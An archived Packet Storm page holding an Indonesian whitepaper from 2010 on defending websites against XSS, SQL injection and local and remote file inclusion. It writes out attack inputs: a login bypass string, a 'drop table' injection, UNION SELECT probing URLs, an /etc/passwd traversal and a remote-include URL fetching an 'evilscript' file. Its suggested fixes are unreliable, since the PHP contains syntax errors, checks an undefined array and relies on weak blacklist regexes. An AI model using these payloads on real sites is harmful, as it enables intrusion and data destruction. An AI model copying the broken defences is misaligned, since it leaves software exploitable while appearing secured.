exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Protecting Websites From Common Attacks

Protecting Websites From Common Attacks
Posted Aug 11, 2010
Authored by vYc0d

Whitepaper called Protecting Websites From Common Attacks. Written in Indonesian.

tags | paper
SHA-256 | dc89f5f68de7c6fe086c756ae335351b5033ad919f9d9781ff0f656ddac2f33e

Protecting Websites From Common Attacks

Change Mirror Download
------------------------------------------------------/
[-] Title : Protecting website from common attacks
[-] Date : 08-08-2010
[-] Author : vYc0d
[-] Contact : vyc0d@hackermail.com
[-] Web : http://vyc0d.blogspot.com
[-] Language : Indonesian
------------------------------------------------------/


Konten :
[1] Pendahuluan
[2] Cross Site Scripting
[3] SQL Injection
\_ Login Form Bypassing
\_ UNION SQL Injection
[3] File Inclusion
[4] Special Thanks


[1] Pendahuluan

Artikel ini akan berisi tentang empat jenis serangan web umum dan pencegahannya, yang digunakan
di sebagian besar jenis defacement. Lima eksploitasi umum yang saya cantumkan di bawah ini
adalah XSS, SQL injection, RFI dan LFI. Sebagian besar kesalahan terjadi pada pemrograman
yang memungkinkan attacker untuk dapat menyusup ke dalam website.



[2] Cross Site Scripting

Cross Site Scripting adalah jenis celah yang digunakan oleh attacker untuk menyuntikkan kode ke halaman
web yang rentan terhadap serangan ini. Jika sebuah situs rentan terhadap cross site scripting, attacker
kemungkinan besar akan mencoba untuk menyuntikkan situs dengan javascript berbahaya atau mencoba scam pengguna
dengan menciptakan bentuk halaman web yang hampir sama untuk mendapatkan informasi.

Example:
http://www.situs.net/find.php?all=">

*Solusi (javascript) :

function RemoveBad(strTemp) {
strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|\-/g,"");
return strTemp;
}



[3] SQL Injection

*\_ Login Form Bypassing

Berikut adalah contoh kode yang dapat kita bisa bypass:

index.html file:
<form action="login.php" method="POST" />
<p>Password: <input type="text" name="pass" /><br />
<input type="submit" value="Authenticate" /></p>
</form>

login.php file:
<?php
// Contoh Kode
$execute = "SELECT * from database WHERE password = '{$_POST['pass'])";
$result = mysql_query($execute);
?>

Kita dapat bypass dengan menggunakan ' or '1=1', dan menjalankan "password = ''or '1=1'';".
Atau attacker dapat juga dapat menghapus database dengan menjalankan "' drop table database; --".

*Solusi :

Menggunakan mysql_real_escape_string

Contoh:
<?php
$badcode = "' OR 1 '";
$badcode = mysql_real_escape_string($badcode);
$message = "SELECT * from database WHERE password = "'$badcode'";
echo "what are doing nobs" . $message . ";
?>


*\_ Union SQL Injection

Union SQL injection adalah ketika pengguna menggunakan perintah UNION. Memeriksa celah dengan menambahkannya
di akhir url "sebuah php?.id=". Jika terdapat error MySQL, situs tersebut kemungkinan besar
besar rentan terhadap UNION SQL Injection. Attacker melanjutkan menggunakan ORDER BY untuk menemukan kolom,
dan pada akhirnya, mereka menggunakan perintah UNION ALL SELECT.

Contoh :
http://www.situs.net/index.php?id=1'
salah satu contoh pesan error:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in.....

Setelah muncul pesan error,maka attacker melanjutkan aksinya ;))
http://www.situs.net/index.php?id=1 ORDER BY 1-- <-- No error.
http://www.situs.net/index.php?id=1 ORDER BY 2-- <-- Muncul pesan error. Ini berarti hanya ada satu kolom
http://www.situs.net/index.php?id=-1 UNION SELECT ALL version()-- <-- Memilih semua kolom dan menjalankan
perintah version().

*Solusi :

Tambahkan sesuatu seperti di bawah ini untuk mencegah SQL injection Union:

$bug = "(delete)|(update)|(union)|(insert)|(drop)|(http)|(--)|(/*)|(select)";
$patch = eregi_replace($bug, "", $patch);



[4] File Inclusion

\_ Remote File Inclusion dan Local File Inclusion

Remote File Inclusion adalah sebuah celah dimana situs mengizinkan attacker meng-includ file dari luar server.
Local File Inclusion adalah sebuah celah dalam situs dimana attacker dapat mengakses semua file di dalam server
dengan hanya melalui URL.

Contoh kode yang vulnerable :
<?php
include($_GET['page']);
?>

Beberapa contoh serangan :
http://www.situs.net/page.php?page=../../../../../etc/passwd < contoh LFI
http://www.situs.net/page.php?page=http://www.site.com/evilscript.txt? < contoh RFI

*Solusi :

Validate the input.
$page = $_GET['page'];
$allowed = array('index.php', 'games.php' 'ip.php');
$iplogger = ('ip.php');
if (in_array $page, $pages)) {
include $page {
else
{
include $iplogger
die("IP logged.");
}



[4] Special Thanks

[-] Allah SWT, Muhammad SAW
[-] The big Family of :
[-] M0slem Hax0r - Echo - Indonesian Coder - Jasakom - Indonesian Hackers - Malang Cyber Crew
[-] ManadoCoding - Devilzc0de - Yogyacarderlink - Xcode - Hacker Newbie
[-] Klix ITN Malang - Kolam (Komunitas Linux Arek Malang)
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close